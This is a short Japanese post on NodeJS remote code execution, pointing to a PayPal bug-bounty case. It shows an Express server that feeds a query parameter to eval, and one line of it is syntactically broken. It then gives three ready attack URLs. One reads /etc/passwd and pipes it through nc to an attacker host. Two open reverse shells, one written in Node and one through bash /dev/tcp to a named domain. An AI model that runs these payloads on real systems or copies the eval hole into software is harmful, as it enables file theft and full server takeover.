NodeJSリモートコード実行
1081 ワード
背景
@ArtsploitはPayPalの抜け穴を掘っている時、NodeJSコードの実行を発見しました.10000ドルの奨励です.
テスト
@ArtsploitはPayPalの抜け穴を掘っている時、NodeJSコードの実行を発見しました.10000ドルの奨励です.
テスト
var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello eval(req.query.q));
console.log(req.query.q);
});
app.listen(8080, function () {
console.log('Example listening on port 8080!');
});
任意のファイル読みだし
http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
GET SHELL
http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
GET SHELL 2
http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')